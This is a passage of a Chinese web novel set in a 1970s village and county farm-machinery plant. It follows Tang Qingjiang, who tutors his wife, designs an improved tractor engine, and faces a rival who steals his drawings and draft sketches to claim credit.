他对着端菜的唐清江就爆发了:“大哥,你这也太过分了,明知道大家一年都吃不上几回好东西,你还每天都在家里做好吃的,你这样不把我们当人看吗?” 唐清江看着他,目光冷厉:“一年吃不上几回好东西?你是说你自己吗,说你自己没分家之前,总是背着人偷偷吃鸡蛋、喝糖水吗,那时候,你把全家其他人当人看了?” “大哥!……你怎么老是翻旧账。”唐年语塞一瞬,越发恼怒。 第520章 为了升职发财 “敢做还怕人说,你以为你是什么东西,来管我的闲事!”唐清江嗓音极冷。 唐年咬着牙:“就算不管我,但娘你总不能不管,你每天吃好喝好的,就那样只让娘闻个味道吗?” 这下,不等唐清江再说话,苏青莲就呵呵冷笑几声:“唐年,凭你也配说这话,我现在每天在家呢,你做什么我都看得清清楚楚,今天上午,你和林盛路去山上烤了一只鸟吧,你想着带回来给爹娘吃了吗?这可不是什么旧账吧!” “你……”唐年霎时面色一白。 接着,就急忙忙转身跑出去了。 他没想到,苏青莲居然整天都盯着自己,就上了趟山也被他看到了。 这次,他和林盛路可是找到了极其珍贵的好东西。 不行,要立刻去和林盛路商量个解决办法。 其实,他这倒真是冤枉苏青莲了,也想太多了。 苏青莲只是看唐年上午满嘴油的回来,而且衣服上还沾了几根鸟毛,随便猜到的罢了。 唐清江看着唐年不同寻常的反应,眯了眯眼。 看来是狗改不了吃屎,又开始了。 苏青莲歪着脑袋,伸手在他面前晃了晃:“人都走了,还看什么?” 唐清江一把抓住他细白的手指,淡声道:“调皮什么。” “才不是调皮。”苏青莲鼓了鼓嘴巴。 唐清江伸手捏捏她脸颊肉,认真道:“不调皮,毕竟已经为人师表了,苏老师。” 苏青莲:“……” 啧,也不知道谁更调皮。 两人面对面坐下后。 苏青莲将筷子递给唐清江,催促道:“快吃快吃。” 唐清江:“苏老师请先动筷。” “……”苏青莲。 她抬头深深看了眼自家老公,忍不住怀疑这人是不是有什么特殊癖好。 唐清江有没有这个方面的特殊癖好, 还需要再确定。 不过,吃完饭后,苏青莲同学照例需要当老师这件事, 却是真的。 她拿着个本子,开始给唐清江上课。 那上面写得都是些高中各科的题目和答案。 按照原计划,唐清江是想收集齐了高中课本,拿回来给苏青莲学习自用的。 但是前几年太乱, 那些书要么被当成垃圾卖掉, 要么直接被家里引火烧掉。 他在县城那些收破烂的地方转了许久,最终也只收集到了几本而已, 还只有数学和语文, 英语书则是连影子都看不到。 于是, 唐清江只能自己动手写。 他按照自己那个世界高中的课本,在笔记本上写了一些各科的关键知识点和例题,甚至还默下了十几篇英语理解。 最后再装模作样拿回来交给苏青莲, 并且表示, 听别人说这本好像是高中生的笔记,不知道对他有没有帮助。 不过,唐清江的认知还是出了点问题。 他那个年代的高中题目,比这个时期其实难了不止一点。 不过对于苏青莲来说却是接受良好。 最让人震惊的是,唐愿也能跟上两人的进度。 一个两岁多大的孩子,还解了几道题。 唐清江甚至觉得自己是不是把题出的太简单了所以阿愿才这么轻松的就会解题了。 为此唐清江特地将题册带到农修厂让自诩高中毕业的张俊和周出看了看,两人看的满脑袋都是懵的,仿佛在看天书。 唐清江懂了,不正常的是她们一家人。 也对,他的家人就该这样优秀才对。 晚上回家唐清江照例写了些很难的题给小妻子和小女儿。 看着媳妇儿全心学习去了,唐清江也开始干自己的事。 这是他最近一直在计划的,在这个时代,他总要做些什么,不管是为了这片土地上的人们,还是为了自己和苏青莲更好的生活。 大国重工,科技与经济,唯有自己掌握的技术,才是真正叫人放心的技术。 一室静谧,烛火摇晃。 大约半个多小时过去,苏青莲终于把厚厚一塌的习题写完了,兴奋地转过头去要给自家老公上课。 却发现唐清江正专心致志地在纸上画着什么。 苏青莲好奇地伸着脑袋去看,不看不知道一看吓一跳。 要不是刚刚亲眼看到她老公在动笔,她差点就要以为这图是直接打印出来的,这线条和造型太标准太好看了。 她张了张嘴,才慢慢出声:“这是发动机吗,画这个干什么?” 唐清江抬头,随口道:“为了升职发财。” 苏青莲撇撇嘴,不忿道:“怎么说得这么庸俗?” “……”唐清江。 你倒是忘了你自己先前接过自己工资时的那兴奋劲儿了。 苏青莲察觉到他的目光,窘迫地轻轻咳嗽几声,转身抱着人撒娇道:“我们将来是要上大学的人,要学着文明含蓄一点。” 唐清江看着他:“行。” “不过……这个,真的能赚很多钱吗?”苏青莲又悄莫看他一眼,对着那图纸双目亮晶晶。 “……”唐清江。 嗯,这才是他小妻子的真面目。 最是务实不过了。 接下来的一段时间,不管上班还是在家,唐清江一心全都扑在了这发动机上面。 不过,本职工作依然半点没有拖后腿,甚至效率越发高了起来。 对于这样的结果,张俊也是十分无奈,甚至主动跟董科长提了一下,表示自己实在教不了唐清江什么。 再这样下去,就是在耽误唐清江了。 董科长本就在比较留意唐清江,听了这汇报,便干脆对唐清江再进行了一次考试。 最后结果自然不言而喻。 唐清江即刻出师了,从此之后,便是名正言顺的技术员了,可以开始独立负责维修相关事宜,甚至下个月的工资,也要再涨一点。 对此结果,不论是同期进来的那几人,还是前辈们都有些无奈。 大家一样是人,他们进厂要当学徒两三年,唐清江这两个月还没到呢,就完全出师了。 最开始时,还有不少老技术员不服,想要掂掂他的斤两,可最后却无一例外被打脸。 于是相对的,大家也彻底被唐清江的维修技术折服,甚至遇到不少问题时,还需要求唐清江帮忙解决。 长江后浪推前浪,莫过于此。 第521章 长得不美,想得倒挺美 这日上午,张俊兴冲冲地跑进办公室:“你们知道吗,市机械厂的领导,后天要过来检查工作,而且听说还有意给我们农修厂几个名额,跟市里的专家学习交流工作。” “哦,不错。”唐清江从自己快要完工的图稿里抬起头,慢悠悠应了一声。 张俊看他一眼,觉得自己本来满满的热情瞬间被浇灭了,实在很没有成就感。 他干脆转过头,去跟一旁同样激动的周出去说话了。 周出看着他,兴奋地问道:“市机械厂啊,真不得了,上面有说要怎么分配名额吗?” 张俊面上喜色稍顿,尴尬地摇摇头:“不知道,但大概率是那些研究员和高级技术员的吧。” 农修厂是有着近两百人的大厂,各个部门齐全。 光是他们发动机科就有三十人,他们这些维修员虽说也是技术人员,但上面还有待遇更好的研究员。 那些研究员都不是通过招聘进来的,而是各中专或者工农兵大学毕业后直接分配的,一般有学习交流的机会,都是他们去,再不济也是那些更有经验的高级技术员。 这么想着,张俊突然目光一亮,看了眼唐清江,欣喜道:“说不定清江同志有机会参加,清江同志才来农机厂一个多月,就成为正式维修员了,学习能力堪称全厂第一,如果他能去着专家学习一段时间的话,肯定能够学习到很多知识和技术。” 周出立刻也激动地点点头:“对,可以的,那些老技术员很多方面都不如大哥呢,大哥去学习交流的话,肯定能有很大收获,应该去向科长争取一下。” 说完,两人都睁大眼,十分期待地盯着唐清江。 唐清江抬头看向两人,正要说些什么。 正在这时,办公室门口处传来一道极为不善的声音:“哼,一个新瓜蛋子,还真把自己当回事了,居然还敢妄想交流名额?” 唐清江三人齐齐抬起头来。 待看清门口之人后,张俊首先变了面色:“汪旭,你跟我过不去就算了,清江同志跟你有什么关系,你在这找什么茬,吃饱了撑的?” 汪旭捧着搪瓷杯,不屑地看向张俊:“你这个废物,靠着抱新人大腿才拿了个先进,现在是想舔着脸继续拉帮结派吗?” 张俊面色一变。 拉帮结派在这个时期,可是很严重的罪名。 唐清江眸子微抬,漠然的目光扫向汪旭,淡淡道:“你突然来这废这么多话,是盯上了交流名额?” 张俊猛地睁大眼,也想起了什么,汪旭比他早一年进的农修厂,家里还有那么点背景,厂里是有意培养他做高级技术员的。 如果这次名额足够的话,汪旭说不定还真有可能争取到机会。 果然,下一刻。 汪旭冷笑着看了唐清江一眼,趾高气扬道:“不是盯上,那是我的囊中之物,发动机科有两个名额,一个给了研究员,另一个给年轻的技术员,也就是我。” 张俊面色当即变得极为难看。 “年轻的技术员……”唐清江薄唇微启,一字一顿地念着。 然后,他深深看了眼汪旭,嗓音却淡到极点:“那么,从现在开始,这个名额就是我的了。” 他的语气和言辞都很平静,所以显得越发认真而肯定。 张俊和周出不约而同转头,震惊地看了他一眼。 在他们的认知里,唐清江这个人虽然一直都是强得离谱,也高冷地离谱,但却并不傲慢,平时对他们和其他同事的请求,都十分客气宽容,甚至可以算得上耐心谦逊,完全不是这种会挑衅放狠话的人。 汪旭也被这突如起来的话惊到,一时间竟怔住了。 而后,他再反应过来时,目光却瞬时阴冷无比:“不知天高地厚的东西,才来农修厂两个月而已,仗着有那么点小天赋,还真以为自己能翻天不行。” 唐清江神色依然平静,只盯着汪旭似笑非笑道:“那么接下来,就请你把眼睛给擦亮点了。” 说完,他就毫不在意地收回了目光,伸手拿起放在一旁的笔,继续低头专心致志地画起图来。 只剩最后一点了,等这东西结束之后,去市机械厂交流算什么,直接加入只怕也不是问题。 汪旭目光沉沉地看了眼唐清江。 不知为何,面对这人如此冷峻稳平静的模样,他心里无端便升起一股沉重的不安来。 “还呆在这干什么,还不快滚!”张俊不客气地开口喝道。 汪旭冷嗤一声,捧着搪瓷缸转头往车间方向走去,在经过唐清江右手边的窗户时,他下意识往里看了一眼。 而后,瞳孔微缩。 虽然他一时之间看不太明白,但那纸上明显是个发动机的模型,而且似乎还是新型的,这居然是唐清江画出来的? 难道这东西,就是他刚刚说那话的依仗? 汪旭走路的速度,越来越慢…… 正在这时,办公室里传来周出的声音:“大哥,那个讨厌鬼走了,你怎么又在画这个东西,这都到午饭时间了。” “到了吗?那走吧。”唐清江抬头看他一眼,将手下图纸用书压在一旁,站起身跟他们一起去吃饭。 三人一道出了办公室,捧着饭盒往食堂方向走去。 汪旭停住了脚步,转身看着唐清江三人的背影,消失在转角处,忍不住眯了眯眼。 …… 今天农修厂食堂的菜色依然很不错,有红烧肉还有大馒头。 唐清江照例留了一半在饭盒里,等着傍晚时带回家给小妻子和小女儿儿享用,现在唐愿脸也圆起来有了肉看着愈发可爱,苏青莲更是白嫩漂亮的紧,唐家村的人每次看到苏青莲和唐愿都会羡慕不已。 周出看着这一幕,傻嘻嘻地道:“苏美人能嫁给大哥这样的男人,也算是走了运了,要我是个女人或者女孩,我也愿意嫁给大哥这样的。” 张俊咬在嘴里的馒头差点掉了下来,又惊又笑地看着周出。 唐清江却是面色变都不变一下,扫视了周出那虎背熊腰的长相,淡淡道:“你长得不美,想得倒挺美。” 第522章 小妻子是个戏精 周出:“……” 他一个只爱小姐姐的大老爷们,开个玩笑,也要被这么打击。 三人吃完饭后,回到办公室暂时休息。 唐清江放下饭盒,便准备把之前的图纸拿出来继续画完,只剩最后几笔格式线定稿,就可以拿给董科长看看了。 不过,半晌之后。 坐在一旁聊天的张俊和周出就看着唐清江似乎是要把这个办公室翻过来了。 “大哥,你这是干啥呢?”周出下巴耷在椅背上,好奇地问道。 张俊也问道:“你这架势,是丢东西了?” 唐清江点点头,温润的脸上都带着冷意,眸光也是冷的。 他开口:“我一直在画的那几张图纸不见了。” 张俊“腾”的从椅子上站了起来震惊道:“你是说那个发动机的?” “对。”唐清江点头。 这可不是小事,张俊和周出赶紧帮着唐清江一起找图。 “我们帮你一起找。” 在农修厂里,张俊和周出几乎跟他整天都在一起,自然知道唐清江在那图纸上花费了不少精力。 这一个月来,唐清江不是在画图,就是在车间里拆各种发动机,而拆发动机,据说也是为了画那图。 一个月的精力,就这么没了,任谁都难以接受。 不过,半晌过去,三人找了一通,却是一点踪迹都没有。 张俊和周出脸色都有些沮丧。 唐清江倒是一直平静,安慰他们道:“找不到算了,那图已经在我脑子里,重新画一幅就好,费时间的是前期实验阶段。” 两人也没别的办法只能点点头。 周出挠了挠头道:“好好的东西就没了,几张纸嘛,也不是什么珍贵玩意儿。” 张俊也奇怪:“我们这还从来没丢过东西,难道是没关窗户,被风给吹走了。” 唐清江眸光中的冷意却还在,片刻后他淡声道:“可能吧!” 他走之前可是特意用两本书压住的,书还在,纸没了? 这种情况只能是人为了。 …… 此日已经进了六月,天气越来越热。 唐家村附近的公社之前有一辆拖拉机送到了农修厂检修,今日傍晚下班时,唐清江便刚好给他开着顺路送回来。 拖拉机送到后,唐清江将自己的自行车从上面搬了下来,继续往唐家村骑去。 虽然绕了一点路,但总得来说,他今天到村口的时间比平时更早了二十分钟。 他习惯性朝大树下看去,一般情况下,家里那颗小球应该正缩成一团在等着他。 然而,下一刻…… 唐清江目光寒到极点,将自行车往旁边一推,便朝着那边发生争执的两道身影飞奔过去。 “你给我滚远点!”苏青莲看着面前流里流气的人,冷声警告道:“等我老公回来,一定揍死你。” 眼前这家伙,是他们唐家村最声名狼藉之辈,不仅不下地挣工分,还整天偷鸡摸狗,甚至欺负小孩子。 之前队里已经教育过他好几次,但这人完全是死皮不要脸,屡教不改。 那二流子看着他气恼的模样,反而脸上笑容更深:“你老公每天都在县城,你白天一个人在家不寂寞吗,多个哥哥陪你有什么不好的?” 苏青莲忍不住恶心地想吐。 二流子面色陡变:“贱人,你少敬酒不吃吃罚酒。” 说着,他就要直接伸手去抓人的肩膀。 突然,就在这时他的手腕被人狠狠攥住。 下一刻一道杀猪般的痛叫声响起。 那二流子只感觉自己的手腕,仿佛要被直接捏碎了了一般。 “老公!”苏青莲眸子一亮,兴奋地转身叫道。 唐清江点点头,看向她时看她没有受惊才温声道:“乖。” 然后面对二流子时神情陡变,手掌微一用力,直接将那二流子扔砸到了一边,接着又是一脚对准他的腰腹处,狠狠踹了过去。 那二流子整个人在地上滚了好几圈,手捂着腹部,爬都爬不起来。 但这还没完,唐清江眯着眼几步上前,照着他的背部、腿部等处,又是连续的数脚大力踹了下来。 他踢踹的地方也很讲究,会让人感觉到极致的疼痛但是不会伤及性命,不过片刻二流子便躺倒在地上翻滚惨叫求饶。 “啊,别打了……别打了……今天怎么回来这么早?” 闻言,唐清江又是一脚重重踹过去,冷冷道:“谁借你的胆子,敢来我这找死的!” “没有……我错了,我再也不敢了!”那二流子边嘶嘶痛喘,边连连道歉,“我就是开个玩笑而已,我再也不敢了。” “玩笑!”唐清江面色更冷,一脚直接踩在他的手指上:“你在开谁的玩笑?” 二流子几乎痛哭流涕起来:“不敢了,再也不敢了,不开玩笑,我该死,我这个倒霉催的……” 一旁的苏青莲看着他躺在地上的恶心模样,眯了眯眼,上前几步,然后抬起一脚,照着他某处狠狠踢了过去。 “啊!”一道几乎刺破天穹的喊声响起。 那二流子整个人如同一只大虾般蜷缩着身体,在地上翻来覆去的打滚,某处传来的痛楚似乎叫人完全没法承受。 苏青莲犹觉不解气,瞪着他恶狠狠道:“玩笑,我让你再开玩笑,开玩笑……还开我的玩笑嘛?” 二流子整个人几乎要疼昏过去,已然是无力回答他。 苏青莲撇撇嘴,略觉无趣。 索然无味地一抬头,却正好对上自家老公带着打趣的目光。 苏青莲:“……” 她的形象还在吗? 半晌,苏青莲拼命眨了眨眼,然后嘴角一拉,眸子瞬间水润润,拔腿朝唐清江怀中猛地冲去,一把抱住人的腰,便开始哼哼唧唧地假哭:“老公,我刚才好怕啊,好可怕啊,吓死我了,还好有你保护我……嘤嘤嘤……” 唐清江:“……” 他觉得头有点疼了。 看你刚刚那架势,感觉没有他的保护也没什么大问题。 不过,听着这可爱的黏糊撒娇,看着这做作的表演,唐清江抬手摸了摸怀中人的背脊,在头顶的发旋上轻轻落下一吻。 小妻子是个戏精怎么办? 那当然,只能惯着啊。 等两人贴贴抱抱再分开时,却发现刚刚还躺在地上痛不欲生的二流子,居然已经趁机逃跑了。 苏青莲鼓着嘴巴:“这次便宜他了。” 唐清江摸摸他的脸颊,嗓音低沉:“放心。” 就算人跑了,事情也不会这么结束的。 苏青莲仰脸看他,眨巴眨巴眼。 唐清江却已经转身去推自行车了,扶着龙头淡声道:“过来,带你回去。” 苏青莲立刻兴奋地冲过去,将刚刚的事忘了个一干二净。 第523章 腿断了,还是要死了? 唐清江轻踩脚踏,沿着村道慢行。 苏青莲倒着坐在后座上,背靠在唐清江的背上,有点懒散问道:“老公,你今天怎么比平时早回来这么多,你骑车速度变快啦?” 唐清江随口答道:“开拖拉机回来的。” 苏青莲点点头,又问道:“哦,今天上班都干了什么?有什么有趣的事吗?” 唐清江:“有一件。” “老公我跟你讲哦,阿愿超级聪明的,不愧是我跟你的孩子,她才这么点点就已经很快学完了小学到初中的课程了。” 她似乎是真的有点骄傲,完全没有怀疑唐愿为什么会对那些知识接受良好过目不忘,她只觉得是因为自己和唐清江聪明所以他们的孩子才会如此聪明。 两人随便说着些没有营养的话题,有时提到唐愿,有时提到麦田,谁也不觉得乏味,不过多是苏青莲提起话题,唐清江顺着她。 骑着车从村口到唐家,只花了两三分钟。 进院子的时候,刚好跟跟坐在院子里的唐年迎面对上。 唐年看着两人,瞳孔收缩一瞬像是有些心虚和害怕似的向后退缩了两步:“你……你们怎么这么早就回来了?” 唐清江眯眼,目光冷沉:“怎么,你很意外吗?” 被这目光一扫,唐年只觉身心皆寒。 片刻后,他才干巴巴吞吐着道:“大哥,我就是奇怪你比平常回来得早而已,有什么意不意外的?” 说完,他就迅速站起身,大步往院子外走去。 苏青莲慢慢转身,看着唐年消失在院子拐角的背影,鼓了鼓嘴,凑近小声道:“老公,唐年今天好奇怪啊!” 唐清眸光晦暗,只思索片刻,便轻笑一声摸摸她的脑袋,淡声道:“不管他。” “好吧!”苏青莲乖巧地点点头。 虽然她很想找唐年的麻烦,但既然她老公开口了,那她就乖一点吧。 唐清江余光扫了眼院外,突然道:“对了,我之前在家画的那些发动机草稿图,你还收着吗?” 苏青莲眨眨眼:“在啊,就在桌子的抽屉里,你写的画的我都有好好收着呢。” 唐清江点头,继续道:“那就好,这次我们科里有一个升去市机械厂的名额,除了我之外,还有个叫汪旭的家伙在竞争,不过我有了这个发动机设计图纸,所以赢面更大,但今天下午,图纸却突然丢失了,我怀疑是被汪旭偷去了。” 苏青莲惊愕:“你的图纸被偷了?怎么会被偷?” 唐清江却完全不见悲伤,轻揉着他的手腕,十分随意道:“没关系,他敢偷,我就要他自食其果。我能画一次,自然能画第二次,而且家里还保存着这么多设计草稿,都是证据,到时如果他敢把我的图拿出来,我就用草稿图让他身败名裂。” 听了这话,苏青莲当即笑了,幸灾乐祸地直点头道:“对,就该这样,让他自食恶果。” 夫妻二人对此倒是很有默契。 院子外的拐角处,唐年悄悄趴在墙上,眸色幽深无比,但嘴角却是勾起了诡异的弧度。 他心中暗道唐清江,你还想升职,还想去市机械厂,别做梦了,你就该烂在泥地里,别想爬起来! 唐年站直身体,往林盛路住的地方走去。 林盛路比他更有主意,还是去找他商量更具体的计划。 唐家院子里。 苏青莲伸手在唐清江面前晃了晃,鼓着嘴巴道:“老公,你在看什么发呆呢?” 唐清江收回余光,一把抓住他细白的手指,轻轻捏了捏,淡声道:“看一只愚蠢的老鼠。” “老鼠?”苏青莲挑了下眉。 “一直就在家里。”唐清江随意应了句,牵着人往厨房走:“该做晚饭了。” 苏青莲顺着唐清江的目光看了眼,眸光也跟着闪了闪,她也猜到了不对,但看唐清江胸有成竹完全不放在心上的模样她便也不担心了。 反正天塌了还有唐清江顶着呢。 …… 这日一早, 唐清江照例骑着自行车去县城上班。 不过,却是在刚出家门不远时,迎面撞上了不知突然从哪儿冒出来的唐年。 虽然唐清江自感并没有挨到他, 不过,唐年却是直接坐在地上不起来了,而且嘴中还可怜兮兮地喊着:“大哥……” 唐清江看着人片刻,眸子微眯,脚撑地下车。 他上前几步, 淡淡问道:“腿断了,还是要死了?” 唐年:“……” 会不会说话? 唐年被唐清江这话噎住了。 不过, 想到自己的目的, 唐年生生忍下来。 他嘴中发出不断的嘶嘶之声, 双手紧紧抱着一只腿,眼眶微红痛呼道:“大哥,我的腿好痛, 你刚刚车骑得太快了……” 唐清江神色不变, 看着他懒洋洋道:“哦,那要送你去县城医院检查检查吗?” 唐年心中一喜,立刻故作大度道:“这就不用了,我们乡下人这点磕碰哪还用得了去医院, 大队的卫生所不就在前面, 大哥, 你扶我过去看看就行。” 唐清江抬眸瞅了眼那处, 隔了几步远的地方,就是知青点和大队卫生所。 这地儿选得倒不错。 唐清江笑了笑, 将自行车脚刹停在原地。 下一刻,唐年就发现自己整个人几乎半腾空起来, 正在被唐清江拎着,连拖带拽地被往卫生所方向弄去。 唐年:“……” 唐年握紧手垂下的眸子,目光幽深。 哼,唐清江也就能得意这么一会了。 唐清江将人交给医生,然后再从卫生所出来,中间不过几分钟时间。 他重新骑上自行车,手随意地往龙头挂的军绿色布包上摸了摸,果然薄了不少。 这么明显的伎俩和拙劣的演技也到他这里来现眼。 不过,他只当做没发现骑着车继续往县城赶去。 而待他走远后,不远处知青点的围墙旁,慢慢走出一道人影,手中正拿着一沓图纸。 唐清江同往常差不多的时间到达了农修厂,一进入办公室,他便循着记忆,将之前丢的那张发动机图纸重新又画了出来。 这次,他没有再等,直接拿着往董科长的办公室找了过去。 董科长见到唐清江还是很高兴的,要出门的动作也停住了,笑道:“真是稀客,你小子居然主动来找我?” 唐清江神色平静:“最近弄出一些东西,想请科长看一下。” “你弄出来的?”董科长一挑眉,他还真有了点兴趣,看他手上拿着的纸张:“拿过来吧。” 唐清江伸手递了过去。 董科长接过一眼扫去,便轻笑道:“发动机啊,今天还真是个好日子,你可是第二个送发动机图来的人了。” “哦。”唐清江还是那副冷冷淡淡的模样,没有太大反应。 董科长暂时也没继续细看这玩意,回身将东西放到桌上:“等我回来就看,明天市里的专家要过来,我得先去跟厂长和书记他们去开个会。” 第524章 人与人之间的差距 唐清江跟在董科长身后,一道走了出去,又回到了自己的办公室。 张俊和周出正坐在椅子上聊天,一看到他回来,就好奇道:“你把那图交给董科长了。” 唐清江随意点点头:“嗯。” 张俊好奇道:“董科长怎么说的?” 唐清江摇摇头:“去开会了,暂时还没看。” 周出伸着脑袋,十分八卦道:“我就看你画了快一个月,那是咱们拖拉机的发动机吧,到底跟现在的有什么大不同吗?你费那个劲? ” 唐清江淡淡点头,据实以告:“嗯,稍稍改了一些结构上的问题,发动机能源利用效率和寿命都会提高不少。” “……”张俊和周出对视一眼,顿时震惊。 这种东西听着像天方夜谭似的,怎么在你嘴里好像很随便的样子? 他们虽然一直知道唐清江在画图,也大约知道是个发动机。 但是,他们从来都以为唐清江那只是尝试瞎画罢了,并没有真正当成一回事。 说到底,唐清江进厂才两个月,也不是念过中专或者大学的知识型人才。 这发动机的改造,已经是属于研发领域了。 可是现在,唐清江既然都这么说了,那就有很大的可能成功了。 毕竟他们知道眼前人绝不是那种没凭没据说大话的人。 天啊…… 张俊又艰难地问了一句:“所以,你昨天对汪旭说那样的话,就是因为有这个发动机设计图做底气?” 唐清江点点头:“算是!” “……” 好吧。 人与人之间的差距是真的很大啊。 张俊和周出彻底沉默了。 接下来的时间还是跟往常一样。唐清江依旧在车间进行维修工作,空闲时间则捧着机械有关的书籍在看。 不过,平静终究是到下午两点左右被打破了。 一名同事急匆匆跑到车间来,大声喊道:“唐清江同志,汪旭同志,董科长找你们有事,麻烦去他的办公室一趟,说是很着急让你马上过去!” 听着这一声,汪旭猛地抬起头来,自昨日开始,便躁动不定的心,在此刻突然奇迹般平静了下来。 他慢慢将视线转向唐清江,却见唐清江已经起身离开,神情依旧同往日一般冷峻过人,背影也依旧那般挺直坚硬,仿佛完全不知接下来的狂风骤雨。 汪旭忽然阴沉沉一笑,内心嘲讽,对啊,唐清江这个蠢货,本来就不知道。 想到待会要发生的有趣场面,他也立刻往外大步走去。 唐清江跟汪旭几乎是前后脚到达董科长的办公室。 不过,跟他们想象有点出入的是,那里不止董科长,还坐着两位年龄差不多的农修厂领导,是党委的宋副书记和隔科壁的李科长。 而一看到他们两,三位领导带着打量的目光一瞬间直接投了过来。 董科长向来是快人快语的性子,直接开门见山道:“我这会为什么找你们两过来,相信你们中已经有人心知肚明了。” 说着,他直接将手中的图纸拍在了桌子上,显而易见地怒气。 “所以,这到底怎么回事,为什么你们两人送来的发动机图纸会是一模一样,现在立刻给我说清楚情况!” 董科长今天上午跟着厂长、书记,还有其他几个科的科长坐在一起,为明天到来的市机械厂领导和专家开了个会。 会后,又跟宋副书记和李科长一起去食堂用的饭。 几人相识多年,中间难免提起厂子里的事,李科长作为隔壁科的人,很自然嘲笑了他们发动机科今年的业绩成就,说是完全没有什么制造成果出来。 农修厂的全名是农机修造厂,不仅修,还要造。 尤其近年以来,各大公社的拖拉机修理情况基本已经饱和,厂长鼓励大家多多向着制造迈进,争取将县农修厂的名声打出去。 但说到底,农修厂只是是县里的厂子,不管是车间机床、还是人员技术都只能算一般,没有完整的生产线。 若是一般的小配件倒还好,农修厂目前算是有条件能独立制造,像他们发动机科,那就有点强人所难了。 县农修厂哪有这个能力自产发动机? 所以,这会便被老友故意损了。 不过,董科长脾气向来硬,当场便顶了回去,直言他们科倒是想制造呢,厂里有那个机床条件吗? 而且,他们虽然没法制造,但他们科也一直没有放弃进步,甚至已经直接略过制造这一步,往着研发改进的目标奋斗了。 这借口自然是董科长临时想到的,就是被上午交给来的那两份发动机图纸激发的。 于是争到最后,就演变成了三位领导一起过来看图纸的情况,然后也很自然发现了,这两分图纸基本是一模一样的事实。 董科长不管怎么想,都还是觉得丢脸,自己科出了这种丑事,还因为他要面子的缘故给直接当场宣扬了出去。 这将来,不知要被这几位老友嘲笑多少年。 所以,他甚至来不及感叹这新型发动机的先进和优秀,就立刻把两人给叫了过来。 他目光紧紧盯着唐清江和汪旭,语气肃然:“你们想好该怎么说了没?” 唐清江眸子微抬,看了董科长一眼,淡淡道:“科长的意思是说我们中有一人是抄袭的,那倒是颇为巧合,刚好昨天中午的时候,我的设计原版图纸丢失了,现在这一份是我今天上午临时重画的。” 要说起信任,董科长自然对唐清江更深,实在是他那张整天冷峻漠然的脸,和万事都不放眼中的态度,让人无法想象出会与抄袭之类的词关联。 更何况,唐清江当初是以满分的成绩进的农修厂,他可是记得唐清江有多优秀的。 不过,董科长还是看向了汪旭:“汪旭同志,你有什么想说的?” 汪旭虽然心里打鼓但表面异常的平静。 虽然他没想到唐清江能在那么快的时间里,就能重新画一幅图出来,不过,想着之前拿到手的那些东西,也就无所谓了。 他只看向董科长,义正言辞道:“科长,我没什么可说的,但是有目共睹,我进农修厂三年,从来没做过一件违反规则的事,在发动机科也多次被评先进,我是不可能去抄袭别人,更别说像唐清江同志说得那样,去偷他的设计图。” 第525章 偷图 董科长看了这两人一眼:“所以,你们两人都坚定这图是自己画的?” 两人都点头。 旁边在围观的宋副书记,盯着两人道:“你们真要如此,现在承认的话,还可以从轻处理,否则我们农修厂是绝对容不下这种弄虚作假的人?” 宋副书记专管工人的纪律和思想建设,他说这样的话,自然十分有力。 汪旭看了眼宋副书记,而后收回目光,依旧一脸坚定。 唐清江则直接道:“这份发动机设计图我大概花了一个月时间,直到昨天才完工,与我同办公室的同志,都可以为我作证。” 董科长眸子一亮:“真的,那让人喊他们过来作证?” 汪旭眸子微眯,显而易见看出董科长对唐清江的信任。 他当即也不再等,大声指责道:“你办公室那两人都是你的好友,说不准就会给你做伪证,而且你就算真的证明了,那也只能说明你这个月画过设计图,并不能证明你就没有抄袭?” 这话十分的咄咄逼人了。 然而,不等唐清江说话。 董科长就先看了汪旭一眼,漠然道:“汪旭同志,农修厂的所有人,都是我们的同志,没有证据的前提下,怎么能随意揣测同志们会做伪证?” 宋副书记点点头,脸上也不太好看。 汪旭面色尴尬,立刻便解释道:“对不起,我刚刚失言了,不过,科长,我虽然没法证明他们是否会做伪证,但是我能证明这份设计图确实是我自己画的,因为所有的前期草稿,包括概念图、灵感图我全都保存了下来,时间跨度也超过一个月。” 闻言,三位领导对视一眼。 这倒是个实打实的证据了。 董科长先看了面色依旧平静的唐清江一眼,转而对着汪旭伸出手:“有证据就好。” 汪旭来之前,便随身夹着个包,这会便直接从包里拿出了沓纸张来,一眼扫过去上面画得正是各种发动机草稿图。 董科长和宋副书记三人先快速地翻了一边,绘图者很有心,技术也很高超,不仅每一张稿纸上都写了对应的日期时间和编号,而且线条端正、器型优美,完全看不出只是草稿。 片刻后,董科长抬起头:“这草稿确实不错,算得上证据。” 汪旭面色一喜。 这时,唐清江剑眉微挑,漠然道:“这草稿也是我的,汪旭,你居然连我的草稿也偷到了。” 董科长三人一愣,齐齐看向唐清江。 “你……你说什么,这草稿是你的?” 唐清江点头:“不错,这草稿本来一直放在我村里的家中,因为昨天设计图完稿被偷走,我今天早上才将他们带到农修厂来,借以重新整理再画一幅,没想到竟又被偷了。” 汪旭冷笑一声:“简直荒谬,我看你是失心疯了,先说自己的设计图被偷,现在又说草稿也被偷,那照你这么下去,下次就该说银行偷了你的钱了?说到现在,你能拿出个像样的证据来吗,而不是光靠一张嘴在这胡说八道吗?” 董科长也道:“清江同志,这也太匪夷所思了,你对汪旭同志的指控,有证据吗?” 汪旭不屑道:“他当然没有。” “科长,据我所知,唐清江同志的学历只是小学毕业而已,运气好才进了农修厂,就凭他那点小学文化,只怕连发动机的工作原理都不清楚,居然还说设计发动机,还反过来污蔑我?宋书记、科长,我们农修厂绝对不能容忍这样的害群之马。” 闻此言,董科长也微微睁大眼,惊道:“唐清江同志,你学历只有小学毕业?” 唐清江点头,干脆地承认:“不错。” 董科长和宋书记等人沉默了。 他们是工农联盟组成的国家,自然不会歧视底层的工人或者农民,但要说一个小学毕业、才进农修厂两个月的人,能设计出这样优秀的新型发动机,却更是让人无法相信。 汪旭向来会察言观色,这会,几乎是立刻看明白了这些领导心里的想法,知道自己基本可证明清白了。 当即,眼角眉梢挂上难以掩饰的笑意。 就在这时,一道冷凌的声音在他耳边清晰响起:“汪旭,你偷了我的草稿之后,有认真看过这些图吗?” 汪旭猛地一抬头,目光灼灼看向唐清江。 这是什么意思? 他心中突然有一种极为不好的预感。 唐清江眉宇漠然,薄唇轻启:“看来是没有,那你自然不知道,这些草稿图上其实有我的特殊标记。” 怎么可能? 之前因为怕被人发现笔迹的差异,昨天他将唐清江的原稿偷来之后,便重新誊画了一遍。 但是这草稿,却是刚刚中午时才被人临时送来,他拿到后随意扫了眼,觉得没有什么问题,就没再重新誊画,时间来不及了。 没想到…… 